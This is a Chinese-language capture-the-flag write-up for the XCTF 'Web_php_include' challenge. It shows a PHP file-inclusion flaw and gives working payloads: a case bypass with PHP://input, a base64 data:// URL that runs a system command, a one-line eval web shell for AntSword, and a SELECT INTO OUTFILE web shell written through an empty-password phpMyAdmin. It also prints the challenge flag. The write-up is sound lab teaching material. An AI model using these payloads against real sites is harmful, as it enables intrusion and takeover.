文章目录

  • 一、Web_php_include
  • 二、使用步骤
    • 1.点击获取在线场景
    • 2.查看页面
    • 3.大小写绕过
    • 4.data://伪协议执行命令利用
    • 4.中国蚁剑
    • 5.数据库写入马
  • 总结


一、Web_php_include

题目链接:https://adworld.xctf/task/task_list?type=web&number=3&grade=1&page=1

二、使用步骤

1.点击获取在线场景

2.查看页面

打开页面得到如下代码

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>

分析代码可知程序过滤掉了page=参数传入php://

3.大小写绕过

大小写绕过由于strstr()这个函数是区分大小写的所以我们可以转换成大小写用PHP://input

Post传输恶意代码

植入木马进行控制

4.data://伪协议执行命令利用

<?php system("cat fl4gisisish3r3.php")?> base64编码后使用
http://111.200.241.244:62364/?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik/Pg==

查看源码得到flag

4.中国蚁剑

<?php eval($_POST[xiaohua]); ?> base64加密后拼接
http://111.200.241.244:62364/?page=data://text/plain/;base64,PD9waHAgZXZhbCgkX1BPU1RbeGlhb2h1YV0pOyA/Pg==

蚁剑连接就好

5.数据库写入马

御剑扫描获得phpmyadmin root 密码空 进入

数据库执行这条命令查看secure_file_priv是否为空,为空则可以写数据 如果是null不能写

SHOW VARIABLES LIKE "secure_file_priv"

linux默认tmp是可写目录 试试写入一句话马 菜刀连接

SELECT "<?php eval(@$_POST['xiaohua']); ?>"
INTO OUTFILE '/tmp/test1.php'

flag为:ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}


总结

  • 伪协议
  • 菜刀,蚁剑
  • 数据库写入马

更多推荐

【愚公系列】2021年12月 攻防世界-进阶题-WEB-004(Web_php_include)